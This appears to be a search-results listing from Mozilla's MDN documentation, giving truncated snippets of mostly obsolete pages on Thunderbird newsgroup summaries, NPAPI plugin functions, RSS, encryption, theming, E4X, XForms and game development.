new status bar be implemented that would have a hover>appear style of operation similar to the mac "menu". meetings none this week. authors sara minchella (sara) dave manley (senemanley) back to summary list ...
2006-10-06 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - september 30-october 06, 2006 announcements mac user needed scott macgregor announced that .mac support and a dynamically add isp account feature has been added to the thunderbird account manager, however, testing is required before release can be issued. hence, they are looking for a mac user to test out the
new features by building a mac.rdf file with all of the various .mac account properties mentioned in the document here. discussions is thunderbird using a valid w3c coding? peter lairo requested someone who are knowledgeable in w3c standards to confirm if the use of <blockquote type="cite"> is valid w3c code. q & a q: walt experienced an unusual behaviour in his build and wanted to perform an experiment to figure out the p...
2006-10-27 - Archive of obsolete content
g the eudora/thunderbird rewrite: "is thunderbird destined to become a hybrid of the existing code and eudora?". jonathan pritchard has clarified that announcement does not mean thunderbird will be changing direction, just certain areas of development that are of interest to the eudora developers will have more attention paid to them. calling tb with a specific message to be displayed there's a
new question by guenter about calling tb from an external program (eg. firefox) to display a message. meetings none for this week. ...
2006-11-24 - Archive of obsolete content
summary: mozilla.dev.apps.thunderbird - november 18 - 24, 2006 announcements none for this week discussions issues with 2.0 features there's re
newed discussion on why certain features were removed in the 2.0 release, and the addition of support for s/mime and not pgp/gpg encryption. additional links: bug 22687 and original
newsgroup thread. thunderbird losing emails tb seems to be deleting mail folders when they reach 4gb in size. exact cause is unknown but may be related to multiprocessor platforms. meetings none for this week ...
2006-10-06 - Archive of obsolete content
*** [all] error 2:: on octorber 4th ludwig hügelschäfer responded to his original post with the solution to his own problem. he found out that a broken host_xpidl was the source of the problem. in order to fix this he deleted the tree part where host_xpidl was located. he then was able to successfully build thunderbird. ludwig hügelschäfer response to the posting. announcements
new svg build dependency coming on october 2nd t rowley announced that: soon svg on the trunk will be switching to use thebes directly (instead of the current choice of direct cairo or punching a hole through thebes to cairo). once completed you will need to build cairo gfx in order to build svg. https://bugzilla.mozilla.org/show_bug.cgi?id=354866 taking moz180-linux-tbox down temporarily oct ...
2006-10-20 - Archive of obsolete content
since it is know to be unsupported on trunk. on october 20th boris zbarsky responded to j. paul reed previous post: boris zbarsky answered j. paul reed's question that was posted in his previous reply. j. paul reed had asked "why gtk1 was still being built". boris zbarsky's said: the reason why gtk1 builds are still being performed is because: when requests are made to change build boxes to
newer versions the people responsible for making the change reply with "that would require an os upgrade". on october 20th j. paul reed responded to boris zbarsky's post: j. paul reed restates his overall goal that are "getting us to not rely on hardware that you have to have in a certain position for it to boot" to use standard known configuration for every nightly build that is produced. he ...
2006-11-03 - Archive of obsolete content
build] error 2 he also noted that he is using make 3.80-1. on november 1st gavin sharp responded phil's question. he said that the problem that phil is experiencing is a known issue. he also mentioned that airbag doesn't build with msvc 7.1. (http://www.google.com/url?sa=d&q=htt...tail%3fid%3d64) gavin recommended that phil should add |ac_add_options --disable-airbag| to his .mozconfig.
new windows compatibility issue? originally posted on november 1st: dale dale has set up a windows machine in order to perform mozilla builds but has been unsuccessful to do so. according to him he has followed the windows build requirements recommended by mozilla. he also noted that he has had different results (error messages when compiling) on different machines. dale has discovered that there ...
2006-11-10 - Archive of obsolete content
this feature consists of creating buttons using a small program, that allows you to create shortcuts to a particular address. the button gets added to the toolbar, separate from the links. reflow branch build failed with vc 7.1 sp1 november 8th: roy received an error when he tried to reflow a branch build using vc 7.1 sp1. on the same day he posted the answer to his posting that he found in last weeks posting. ...
2006-10-06 - Archive of obsolete content
mozilla.dev.l10n - october 6, 2006 announcements english united states dictionary english united states dictionary for firefox 2. firefox 2 sign-off procedure localization team should begin intense qa as outlined here. ffx 2 rc2 testing today l10n builds were completed was completed and ready for test. test resumt will be found here another lightning localization update with some bad
news difference has been located between sunbird_0_3_branch (for sunbird 0.3) and mozilla_1_8_branch. sunbird/lightning localization update you need to update your localization if you want your locale to ship with lightning 0.3 or sunbird 0.3. mozillatranslator 5.13 rfes
new version of mozillatranslator will be relaesed in a few weeks. calendar localization update rc1 for sunbird 0.3 is out n...
NPN_MemAlloc - Archive of obsolete content
lication to manage its memory more flexibly and efficiently. mac os npn_memalloc is particularly important on mac os, since the mac os version of the browser frequently fills its memory partition with cached data that is only purged as necessary. since npn_memalloc automatically frees cached information if necessary to fulfill the request, calls to npn_memalloc may succeed where direct calls to
newptr fail. existing calls to npn_memflush have no effect. you only need to use npn_memflush in situations where you cannot use npn_memalloc, for example, when calling system methods that allocate memory indirectly. see also npn_memflush, npn_memfree ...
NPN_ReloadPlugins - Archive of obsolete content
adpages whether to reload pages. if true, all pages are reloaded once the plugins are reloaded; otherwise, they aren't. description npn_reloadplugins() reads the plugins directory for the current platform and reinstalls all of the plug-ins it finds there. normally, if you add or remove any plug-ins, the browser does not see them until you restart gecko. npn_reloadplugins() lets you install a
new plug-in and load it, or to remove a plug-in, without having to restart the browser. you could use this function as part of the plug-in's installation process. see also npn_version() ...
NPN_SetValueForURL - Archive of obsolete content
const char *url, const char *value, uint32_t len); parameters this function has the following parameters: instance pointer to the current plug-in instance. variable selects the type of information to be changed. the only supported type is npnurlvcookie. url the url for which to change information. value the
new associated information for the url. note: the value may have internal null bytes and may not be null-terminated. len the length of the value buffer. returns if successful, the function returns nperr_no_error. if unsuccessful, the function returns an error code. for possible values, see error codes. description this entry point is designed to allow plugins to affect the cookies sent by the br...
NPP_SetValue - Archive of obsolete content
following parameters: instance pointer to plugin instance on which to set the variable. variable the variable being set. value value for the variable being set. returns if successful, the function should return nperr_no_error. if unsuccessful, the function should return the most relevant npapi error code. for possible values, see error codes. description none see also npp_
new, npp_getvalue, npn_setvalue, npn_getvalue ...
NPP_SetWindow - Archive of obsolete content
r the life of the instance, or until npp_setwindow is called again with a different value. for windowed plug-ins on windows and unix, the window parameter contains a handle to a subwindow of the browser window hierarchy. on mac os, this field points to an np_port structure. for windowless plug-ins, it is a platform-specific handle to a drawable. before setting the window parameter to point to a
new window, it is a good idea to compare the information about the
new window to the previous window (if one existed) to account for any changes. for windowless plugins, npp_setwindow is called with a cliprect of 0,0,0,0 to signal that the plugin is not visible. note: npp_setwindow is useful only for embedded (np_embed) or full-screen (np_full) plug-ins, which are drawn into windows. it is irrelev...
NP_Initialize - Archive of obsolete content
is the first function that the browser calls. np_initialize tells the plug-in that the browser has loaded it and provides global initialization. allocate any memory or resources shared by all instances of your plug-in at this time. after the last instance of a plug-in has been deleted, the browser calls np_shutdown, where you can release allocated memory or resources. see also np_shutdown, npp_
new ...
Why RSS Slash is Popular - Counting Your Comments - Archive of obsolete content
so often use other rss modules to get at (and read) the comments (since rss does not currently provide facilities for this either). some use the well-formed web rss module for this. and some are now using atomic rss for this. (using either of these 2 rss modules is out of the scope of this article.) in reality, an item's comments count could change at any given time. people can (potentially) post
new comments to an item at any given time. and (spam) comments could get deleted. and thus the comments count that the <slash:comments> element provides is only a snapshot; it was only the comment count at a moment in time. one of the shortcomings of the <slash:comments> element is that does not tell you what that moment in time was. one could assume that the comment count was acurate at the moment i...
How RSS Works - Archive of obsolete content
this page explains how rss works. you will not yet be creating your own rss files, but you will be learning about the different systems that come into play with rss syndication. how rss works there are two main components that come into play with rss syndication: the server end and the client end. the server end of rss syndication is the part of the system that produces the rss feed. a
news website would be at the server end of rss syndication. a blog would be at the server end of rss syndication. an ipradio show would be at the server end of rss syndication. an iptv show would be at the server end of rss syndication. the client end of rss syndication is the part of the system that consumes the rss feed. the mozilla firefox web browser would be at the client end of the rss syndica...
Why use RSS - Archive of obsolete content
? if you are reading this, you probably already have your own reasons for wanting to use rss. there are, in fact, many reasons to use rss, but the two biggest reasons can be broadly dictated by: #1 (obviously only use it if) it fits your needs and #2 it has a huge amount of momentum -- everyone is using it. rss has a huge amount of momentum. people are using it to syndicate all sorts of things:
news articles, blogs, bookmarks, internet radio shows, internet television shows, software updates, e-mails, mailing lists, music playlists, and more. if it is episodic, it can be syndicated with rss. software that reads and can make use of rss is also everywhere. mozilla firefox has some support for rss (with it's live bookmark technology.). there are too many desktop and web-based rss aggregators ...
Well-Formed Web - Archive of obsolete content
getting started a guided tutorial that will help you get started with the well-formed web rss module. the well-formed web rss module provides facilities for <item> level commenting: for linking to comments contained in an external rss feed, and for posting
new comments. documentation selected articles why well-formed web rss module is popular - syndicating your comments charles iliya krempeaux talks about the rss well-formed web module, why it is popular among some, and how it is used to link to your comments (2005-08-22). references rss well-formed web module element list examples none available at this time community none available at this time tools none a...
Digital Signatures - Archive of obsolete content
to the recipient of some signed data: the original data and the digital signature, which is basically a one-way hash (of the original data) that has been encrypted with the signer's private key. to validate the integrity of the data, the receiving software first uses the signer's public key to decrypt the hash. it then uses the same hashing algorithm that generated the original hash to generate a
new one-way hash of the same data. (information about the hashing algorithm used is sent with the digital signature, although this isn't shown in the figure.) finally, the receiving software compares the
new hash against the original hash. if the two hashes match, the data has not changed since it was signed. if they don't match, the data may have been tampered with since it was signed, or the signat...
Encryption and Decryption - Archive of obsolete content
t it is communicating with the other as long as the decrypted messages continue to make sense. symmetric-key encryption is effective only if the symmetric key is kept secret by the two parties involved. if anyone else discovers the key, it affects both confidentiality and authentication. a person with an unauthorized symmetric key not only can decrypt messages sent with that key, but can encrypt
new messages and send them as if they came from one of the two parties who were originally using the key. symmetric-key encryption plays an important role in the ssl protocol, which is widely used for authentication, tamper detection, and encryption over tcp/ip networks. ssl also uses techniques of public-key encryption, which is described in the next section. public-key encryption the most common...
Solaris 10 Build Prerequisites - Archive of obsolete content
t (cbe). provides build tools needed by some open-source projects (eg gnome). the tools included with solaris and sun studio should be sufficient for building mozilla, so you can skip this. the installer must install additional sun-provided packages from the os install dvd, so that dvd has to be available. the installer will try to install the sunwsmbas package, which is not available in
newer versions of sxde. fortunately, it also isn't necessary, so you can fix this problem by simply removing the reference to that package from the installer script (cbe-install). the installer may tell you your c compiler is not the recommended compiler, but the compiler you installed will work fine, so you should tell the installer to use the compiler anyway. run . /opt/jdsbld/bin/env.sh to i...
Table Reflow Internals - Archive of obsolete content
able width from the last time. multiple resize reflows may require special handling if a frame split previously. it may need to "pull up" children from a continuation. table paginated reflow the block containing the outer table reflows it. if it is incomplete, the block will create a continuation for the outer table (which also creates a continuation for the table). put the continuation on a
new line and place that line on its overflow lines property. the outer table reflows the table and just returns the status of the table. the table does a pass 1 reflow and balances. if it is incomplete, it will become the first-in-flow it will be the only frame among its continuations to ever balance or calc the cell map, and it only does this once table paginated reflow the table does a pass ...
Create Your Own Firefox Background Theme - Archive of obsolete content
dth of the browser window, the browser reveals more of the left-hand side of the image. online image editor resources pixlr — pixlr offers professional and easy-to-use tools for creating and editing images within a browser. photoshop — tweak, rotate and touch up photos with photoshop® express, a free online photo editor. creating a theme footer image in older versions of firefox, or
newer versions with certain add-ons installed, the footer image is displayed as the background of the bottom of the browser window, behind the add-on and find bars. it will be anchored to the bottom-left corner of the browser window. footer images are optional. view a sample theme footer here. image requirements dimensions should be 3000px wide × 100px high png or jpg file format image m...
Making sure your theme works with RTL locales - Archive of obsolete content
tribute, so you may need to refer to an ancestor element that does. for example: /* we want to apply a rtl rule to #c; neither it nor its * parent element #b has a chromedir attribute, but its * grandparent element #a does. */ #a > #b > #c { /* normal rules */ } #a[chromedir="rtl"] > #b > #c { /* rtl rules */ } tip: sometimes, like in the back and forward arrows, you don't really need
new versions of the images. instead, just use the opposite arrow when in rtl context. using start/end rules instead of left/right rules directions are mirrored in rtl mode, so left becomes right and right becomes left. as a result, you almost never want to use left/right rules for paddings, borders, and margins. instead, you should use the following start/end rules instead to ensure rtl compatibili...
Theme changes in Firefox 3.5 - Archive of obsolete content
450944 changed the way window shadow is handled on mac os x. before that change, opaque windows always had a shadow and transparent windows never had a shadow. after that change, transparent windows also have a shadow by default. this can result in unwanted shadows in your theme, e.g. under the autoscroll icon or the identity panel. if you don't want the shadow, you can turn it off by setting the
new -moz-window-shadow css property to none on the affected element. browser.xul bug 463189 added a
new attribute on the xul window element of browser.xul named browsingmode. the value of this attribute is normal when the private browsing mode is inactive, and private when it's active. this attribute can be used to style different parts of the browser window inside the private browsing ...
Theme changes in Firefox 3 - Archive of obsolete content
ripe/browser/browser.css .tabbrowser-tab[first-tab="true"] > .tab-image-left no longer has a margin-left. instead .tabs-left now displayed and given the same width as the former margin-left. it was already done this way in winstripe. changes in browser --- changes in global all platforms the yellow background for the location bar has been deprecated; instead, themes should style the
new #identity-box element depending on its verifieddomain/verifiedidentity class. the go button is now located inside the location bar, so the image for it (chrome://browser/skin/go-arrow.png) needs to be smaller. the rule that's needed to show and hide the go button and other location bar icons is: #urlbar[pageproxystate="invalid"] > #urlbar-icons > :not(#go-button) , #urlbar[pageproxystate="valid...
Settings - Archive of obsolete content
ne, so that you can filter the displayed list of variables. show original sources enabling this option will make the debugger use source maps, if they are available, to display the original source for code which has been combined, minified, or even compiled to javascript from a language like coffeescript. defaults to true. automatically black box minified sources
new in firefox 33. automatically black box sources whose url ends with ".min.js". defaults to true. ...
Updating an extension to support multiple Mozilla applications - Archive of obsolete content
ension localizing an extension download the sample you can download this article's sample code so you can look at it side-by-side with the article, or to use it as a basis for your own extension. download the sample updating the install manifest the first step is to revise the extension's install manifest to indicate that it can be installed in thunderbird and sunbird. ...
-moz-border-bottom-colors - Archive of obsolete content
pply if border-style is dashed or dotted. to tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the bottom border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. ...
-moz-border-left-colors - Archive of obsolete content
apply if border-style is dashed or dotted. to tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the left border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. ...
-moz-border-right-colors - Archive of obsolete content
apply if border-style is dashed or dotted. to tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the right border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. ...
-moz-border-top-colors - Archive of obsolete content
t apply if border-style is dashed or dotted. to tables with border-collapse: collapse. syntax values accepts a white-space separated list of color values. <color> specifies the color of a line of pixels of the top border. transparent is valid. see <color> values for possible units. none default, no colors are drawn or border-color is used, if specified. ...
Displaying notifications (deprecated) - Archive of obsolete content
rd. creating a notification the first thing you need to do is create the notification object by using the navigator.moznotification object's createnotification() method, as follows: var notification = navigator.moznotification.createnotification( "hey, check this out!", "this is a notification posted by " + "firefox 4. you should take some action. right now!"); this returns a
new notification object, but does not actually display the notification. this lets you configure the event listeners before the notification is shown, if you need to be notified when the notification is dismissed. setting up event listeners on the notification there are two events you can listen to on created notifications: onclick this event is fired when the user clicks (or taps) on the notif...
E4X for templating - Archive of obsolete content
@param {function} h the sorting handler */ function sort (xmllist, h) { var k, arr=[], ret = <></>; for (k in xmllist) { if (xmllist.hasownproperty(k)) { arr.push(xmllist[k]); } } arr.sort(h).foreach(function (item) { if (typeof item === 'xml') { ret += item; } else if (typeof item === 'string') { ret +=
new xml(item); } else { var ser = (
new xmlserializer()).serializetostring(item); ret +=
new xml(ser); } }); return ret; } example: var fruits = <fruits> <item>pear</item> <item>banana</item> <item>grapes</item> </fruits>; alert( // using a javascript 1.8 expression closure <output> {sort(fruits.*, function (a, b) a.text() > b.t...
E4X - Archive of obsolete content
ss a dom object through e4x (bug 270553). e4x doesn't support parsing xml declaration. <?xml version=...?>) (see bug 336551). you may get syntaxerror "xml is a reserved identifier" (despite the xml being in a string). ...
Debug.write - Archive of obsolete content
str1, str2, ... , strn optional strings to send to the script debugger. remarks the debug.write function sends strings to the immediate window of a script debugger at run time. if the script is not being debugged, the debug.write function has no effect. the debug.write function is almost identical to the debug.writeln function. the only difference is that the debug.writeln function sends a
newline character after the strings are sent. example this example uses the debug.write function to display the value of the variable in the immediate window of the script debugger. note: to run this example, you must have a script debugger installed and the script must run in debug mode. internet explorer 8 includes the javascript debugger. if you are using an earlier version of internet explor...
Debug.writeln - Archive of obsolete content
the debug.writeln function sends strings to the script debugger, followed by a
newline character. syntax debug.writeln([str1 [, str2 [, ... [, strn]]]]) parameters str1, str2, ... , strn optional strings to send to the script debugger. remarks the debug.writeln function sends strings, followed by a
newline character, to the immediate window of the microsoft script debugger at run time. if the script is not being debugged, the debug.writeln function has no effect. the debug.writeln function is almost identical to the debug.write function. the only difference is that the debug.write function does not send a
newline character after sending the strings. example this example uses the debug.writeln function to display the value of the variable in the immediate window of the mi...
Debug - Archive of obsolete content
that an asynchronous operation has completed. debug.mstraceasyncoperationstarting initiates a trace for an asynchronous operation. debug.msupdateasynccallbackrelation updates the relationship status between a synchronous work item and the associated asynchronous operation. debug.write sends strings to the script debugger. debug.writeln sends strings to the script debugger, followed by a
newline character. examples print the value of a variable this example uses the write function to display the value of the variable. var counter = 42; debug.write("the value of counter is " + counter); requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, internet explorer 8 standards, internet explorer 9 standards, intern...
Error.stackTraceLimit - Archive of obsolete content
t property is set to 0 at the time an error is thrown, no stack trace is shown. if the property is set to a negative value or a non-numeric value, the value is converted to 0. if the stacktracelimit is set to infinity, the entire stack is shown. otherwise, touint32 is used to convert the value. example the following example shows how to set and then get the stack trace limit. try { var err =
new error("my error"); error.stacktracelimit = 7; throw err; } catch(e) { document.write("error stack trace limit: ") document.write(error.stacktracelimit); } requirements supported in internet explorer 10 and in windows 8.x store apps. applies to: error object ...
VBArray.getItem - Archive of obsolete content
> <script type="text/vbscript"> <!-- function createvbarray() dim i, j, k dim a(2, 2) k = 1 for i = 0 to 2 for j = 0 to 2 a(i, j) = k document.writeln(k) k = k + 1 next document.writeln("<br>") next createvbarray = a end function --> </script> <script type="text/javascript"> <!-- function getitemtest(vbarray) { var i, j; var a =
new vbarray(vbarray); for (i = 0; i <= 2; i++) { for (j =0; j <= 2; j++) { document.writeln(a.getitem(i, j)); } } } --> </script> </head> <body> <script type="text/javascript"> <!-- getitemtest(createvbarray()); --> </script> </body> requirements supported in the following document modes: quirks, internet explorer 6 standards, internet explorer 7 standards, ...
String.prototype.quote() - Archive of obsolete content
/ seamonkey 2.34)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the non-standard quote() method returns a copy of the string, replacing various special characters in the string with their escape sequences and wrapping the result in double-quotes ("). syntax str.quote() return value a
new string representing the original string wrapped in double-quotes, with any special characters escaped. examples using quote in the table below the quote() method replaces any special characters and wraps the strings in double-quotes. also note the third column where a wrapped eval() evaluates the escape sequences again. str str.quote() eval(str.quote()) hello world...
Sharp variables in JavaScript - Archive of obsolete content
ate a sharp variable, simply assign an object to it in a line of code using an equal sign. you cannot assign primitives (including strings) to sharp variables. make sure you don't put in any spaces before the equal sign though. #1 = {}; // this doesn't do much since the sharp variable is out of scope immediately after a = #2 = {}; // slightly more useful since we retain a reference to the
new object to reference the sharp variable, simply append another sharp (#) to the end of the variable name. this acts as a reference to initial variable. you can use this to create objects in a single line of code that would otherwise take multiple lines of code. examples multiple references var a = { foo:#1=[], bar:#1# }; a.foo.push("hello"); a.bar.push("there!"); alert(a.foo[1]); // "t...
Standards-Compliant Authoring Tools - Archive of obsolete content
ate, preview and publish web pages. validation is done with html tidy, so you can verify standards compliance. macromedia™ dreamweaver™ cs6 style master and layout master by western civilisation some caveats: it appears that tools currently available from namo generate ie-specific or netscape 4-specific code that may require extra debugging for compatibility with standards-based browsers.
newer versions of microsoft frontpage™ have improved, however be sure not to rely on frontpage-specific extensions for critical website content or functionality. some versions of microsoft word create invalid html code that only works with internet explorer. always be sure to validate your web pages. original document information last updated date: january 30th, 2003 copyright © 2001-2003 ne...
Window.importDialog() - Archive of obsolete content
to avoid using it. this function was only available in the original, xul-based version of firefox for android, which is no longer supported; for that reason, this function is obsolete and should never be used. summary because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog(). instead of opening a
new window, it merges the specified xul dialog into the main window. syntax
newdialog = importdialog(aparent, asrc, aarguments)
newdialog the opened window aparent the dialog's parent; can be null. asrc the chrome url of the xul dialog. aarguments a javascript object containing data to pass to the dialog. example var dialog = importdialog(null, "chrome://myextension/content/dialog.xul...
Building Mozilla XForms - Archive of obsolete content
ch to the root of your source directory and start the build with make -f client.mk build after the build finishes, you'll have a xforms.xpi in obj-*/dist/xpi-stage/xforms.xpi. congratulations, you've successfully built your first mozilla xforms extension! the built xpi file will only install on a nightly snapshot from the same day or your self-built firefox version. if you are sure that older or
newer firefox versions are compatible with your extension, you can unzip the xpi file (it's a regular zip file), edit the install.rdf and change the minversion and maxversion entries. the following scheme usually works (replace {geckoversion} with the used gecko/toolkit version): <em:minversion>{geckoversion}.0</em:minversion> <em:maxversion>{geckoversion}.*</em:maxversion> for example, for the fire...
XForms Custom Controls Examples - Archive of obsolete content
"chrome://xforms/content/xforms-xhtml.xml#xformswidget-output"> <content> <children includes="label"/> <xhtml:div class="xf-value" anonid="content"></xhtml:div> <children/> </content> <implementation implements="nsixformsuiwidget"> <field name="_domparser">null</field> <property name="domparser" readonly="true"> <getter> if (!this._domparser) this._domparser =
new domparser(); return this._domparser; </getter> </property> <method name="refresh"> <body> // get
new value, parse, and import it. var val = this.stringvalue; var
newdom = this.domparser.parsefromstring(val, "text/xml"); var impnode = document.importnode(
newdom.firstchild, true); // get content node, clean it, and update it var content = document.getanonymouselementbya...
Developing Mozilla XForms - Archive of obsolete content
then start firefox out of the build directory: cd obj-*/dist/firefox ./firefox -no-remote -jsconsole -p yourprofilename the xforms extension that was built together with firefox should be already installed. then open your form that causes problems and have a look on the console. often you'll find the first starting points here or in the error console. ...
RFE to the Custom Controls - Archive of obsolete content
ork on other browser platforms. rfe put your requests here. output that shows the dom if output contains cdata section or text node and its data is any mozilla known language like xhtml/xul/svg then output should parse and display it (see bug 316817). output should show data in current locale format the bug 331585 address the issue. probably this feature should be implemented by adding a
new custom control. input that shows/modifies the dom like the request above for output. the related bug is bug 348562. ...
RFE to the XForms API - Archive of obsolete content
he nsixformsdelegate interface using the accessors property. xforms dom put here your requirements how to improve xforms dom api. reflect attributes to properties for the elements that can contain the incremental or selection attributes, it makes sense to expose analogous properties. xforms functional interfaces put here your requirements to improve existing xforms interfaces or to add a
new one. ability to get nsixformsaccessors for instance node we need the ability to get to the nsixformsaccessors interface on a node by specifying the node via an xpath expression or by specifying the instance node directly (see bug 312956). ...
XForms Styling - Archive of obsolete content
la xforms extension is one of the few xforms processors which allow for styling of the xforms elements directly, using mostly standard css. processors such as chiba create "old-style" html forms from xforms documents, and must be styled accordingly. however, most of the time the transition is straight-forward: view the source after processing of your xforms document, and map the old styles to the
new elements. appearance attributes can also make a big difference. experimenting with these can give you some easier way of styling the contents than just using the default. === example === here's a small example that shows equivalent styles for chiba and mozilla xforms. xforms: <pre></pre> chiba html: <pre></pre> mozilla css: <pre></pre> chiba css: <pre></pre> formsplayer css: <pre></pre> ...
Using XForms and PHP - Archive of obsolete content
of xforms (/xml) you would probably submit xml. there is some help in getting to the raw xml on the php documentation site. how to actually parse and use the xml data depends heavily on what you want to achieve and on the php version. to get a dom document on php 4 i usually do something like this: $data = $http_raw_post_data; $dom = domxml_open_mem($data); $root = $dom->document_element(); ... $
newnode = $dom->create_element("boo"); $root->append_child($
newnode); ... ...
XForms - Archive of obsolete content
nput control. xforms user preferences a description of the about:config variables that xforms uses. xforms api reference xforms interfaces documentation. xforms ui elements reference xforms user interface elements documentation. view all... community view mozilla forums... mailing list
newsgroup rss feed #xforms channel on irc.mozilla.org w3c forms mailing list other community links... tools xforms validator xforms buddy related topics extensions, html, xhtml, xml, xpath ...
Archived open Web documentation - Archive of obsolete content
generators can be used to simplify asynchronous code in firefox by opting in to using javascript version 1.7 or later. you can opt in in html as follows: window.importdialog() because opening windows on mobile isn't necessarily appropriate, the firefox mobile team designed the importdialog() method to replace window.opendialog(). instead of opening a
new window, it merges the specified xul dialog into the main window. writing javascript for xhtml technical review completed. editorial review completed. xforms xforms were envisioned as the future of online forms as envisioned by the w3c. drawing on other w3c standards like xml schema, xpath, and xml events, xforms tried to ad...
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
a proprietary de facto standard. the purpose of this document is to discuss and emphasize the importance of conforming to open technology standards that are external to the organization. let’s begin the discussion, however, by looking inward to internal procedures, processes and standards. why should organizations have standard procedures at every level? following standards is certainly not a
new organizational phenomenon; organizations require their employees to follow common rules, or a common set of standards all the time. memos, time cards, and accounting procedures are all standardized across groups. in the development world, there is a need for standards because applications are designed across multiple development groups. many organizations publish internal development standards a...
Community - Archive of obsolete content
if you know of useful mailing lists,
newsgroups, forums, or other communities related to web standards, please link to them here. the web standards project web developer's handbook webdev feedhouse - blog feeds for popular standards-compliant blogs. ...
Displaying a graphic with audio samples - Archive of obsolete content
img> <script> var canvas = document.getelementbyid('fft'), ctx = canvas.getcontext('2d'), channels, rate, framebufferlength, fft; function loadedmetadata() { channels = audio.mozchannels; rate = audio.mozsamplerate; framebufferlength = audio.mozframebufferlength; fft =
new fft(framebufferlength / channels, rate); } function audioavailable(event) { var fb = event.framebuffer, t = event.time, /* unused, but it's there */ signal =
new float32array(fb.length / channels), magnitude; for (var i = 0, fbl = framebufferlength / 2; i < fbl; i++ ) { // assuming interlaced stereo channels, /...
Mozilla's DOCTYPE sniffing - Archive of obsolete content
obsolete since gecko 2 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this page describes behavior of the old html parser in firefox 3.6 and older. it has been replaced by a
new html 5 parser in firefox 4 and
newer. this document describes how mozilla uses the doctype declaration to determine strict mode vs. quirks mode. the code that makes this determination is currently in determineparsemode() in nsparser.cpp. see bug 1312 and bug 55264 for some of the history of the mode determination. see bug 153032 for the creation of the almost-standards mode around mozilla 1.0. the goals that led to choosing this behavior were the foll...
Parsing microformats in JavaScript - Archive of obsolete content
methods datetimegetter() specifically retrieves a date from a microformat node. after getting the text, it is normalized into an iso 8601 date. normalizeddate = microformats.parser.datetimegetter(propnode, parentnode); parameters propnode the dom node to check. parentnode the property's parent node. if it is a subproperty, this is the parent property node. otherwise this is the microformat node. return value a string containing the normalized date. ...
RDF in Fifty Words or Less - Archive of obsolete content
n be used as a mechanism for integrating and organizing internet resources. let's look at an example:bookmarks. right now, most web browsers let you organize your bookmarks hierarchically intofolders. each bookmark is apointer to a web page called a uri (uniform resource identifier). but a web page is just one kind of internet resource. there are tons of others, including email messages, usenet
news articles (or entire usenet
news groups), and search results from your favorite web crawler, just to name a few. and fundamentally, there's no reason that you shouldn't be able to treat these as "bookmarks" as well, grouping them together into folders as you please, or maybe even creating "smart" folders that, when you open them, dynamically generate their contents by running common search that y...
Common causes of memory leaks in extensions - Extensions
nything within this compartment into a long-lived window object (such as browser.xul), javascript module or xpcom component, the bootstrap.js compartment will become a zombie. for example, the following code snippets — part of a bootstrap.js — will leak: function leakref() {} function modifydocument(document) { var a = document.createelement("a"); document.body.appendchild(a); // the
new dom node holding a reference to leakref will prevent // that function object from being garbage collected and hence // will leak the whole bootstrap compartment. a.someproperty = leakref; } function modifydocument2(document) { // the "body" dom node holding a reference to leakref will prevent // that function object from being garbage collected and hence // will leak the whole bootst...
Community - Extensions
if you know of useful mailing lists,
newsgroups, forums, or other communities related to extension development, please link to them here. mozillazine extensions & themes forum #extdev channel on moznet irc network — extension development questions #addons channel on moznet irc network — questions about http://addons.mozilla.org mozdev project owners mailing list mozillazine knowledge base allyourideas — ideas for extensions ((really needs a unique captcha)) babelzilla — a community for developers and translators of extension for mozilla applications ...
Examples - Game development
nster madness a webgl and asm.js-based multiplayer online shooter, developed by nom nom games and trendy entertainment. auralux webgl and asm.js-based strategy game: capture all the suns to win! browserquest a mmorpg created by the little workshop and mozilla. shoot the rocks a canvas 2d single-player shooter in the style of atari's classic asteroids arcade game from 1979. star citadel a
new take on star castle, cinematronics' classic 1980 arcade game, built with canvas 2d. classic platformer canvas 2d game based on `visual-ts game engine` - physics based on matter.js commercial games oort online a mmo exploration, building, and battle game (currently in development.) a wizard's lizard top down zelda-esque exploration/rpg. qbqbqb a sci-fi themed arcade puzzle game. b...
Index - Game development
found 74 pages: # page tags and summary 1 game development apps, game development, gamedev, games, html5 games, javascript games, web gaming is one of the most popular computer activities.
new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. 2 anatomy of a video game games, javascript, main loop, requestanimationframe i want to be clear that any of the above, or none of them, could be best for your game. the correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. the concern is mostly with switching to another option. fortunately, i do not have any experience with this, but i have...
Game distribution - Game development
this includes hosting it yourself online, submitting it to open marketplaces, and submitting it to closed ones like google play or the ios app store. benefits of html5 over native building games with html5 gives you extra advantages, such as: multiplatform bliss the technology itself is multiplatform, so you can write the code once and target multiple devices. ...
Explaining basic 3D theory - Game development
, and then take the shot. there are four stages to this processing: the first one involves arranging the objects in the world, and is called model transformation. then there's view transformation which takes care of positioning and setting the orientation of the camera in the 3d space. the camera has three parameters — location, direction, and orientation — which have to be defined for the
newly created scene. projection transformation (also called perspective transformation) then defines the camera settings. it sets up what can be seen by the camera — the configuration includes field of view, aspect ratio and optional near and far planes. read the camera paragraph in the three.js article to learn about those. the last step is viewport transformation, which involves outputting ...
3D games on the Web - Game development
d other attributes. you should definitely check out glsl shaders article to learn more about them. collision detection it's hard to imagine a game without collision detection — we always need to work out when something is hitting something else. we have information available for you to learn from: 2d collision detection 3d collision detection webxr the concept of virtual reality is not
new, but it's storming onto the web thanks to hardware advancements such as the oculus rift, and the (currently experimental) webxr api for capturing information from vr and ar hardware and making it available for use in javascript applications. for more, see webxr device api. there's also the building up a basic demo with a-frame article showing you how easy it is to build 3d environments for virtu...
Async scripts for asm.js - Game development
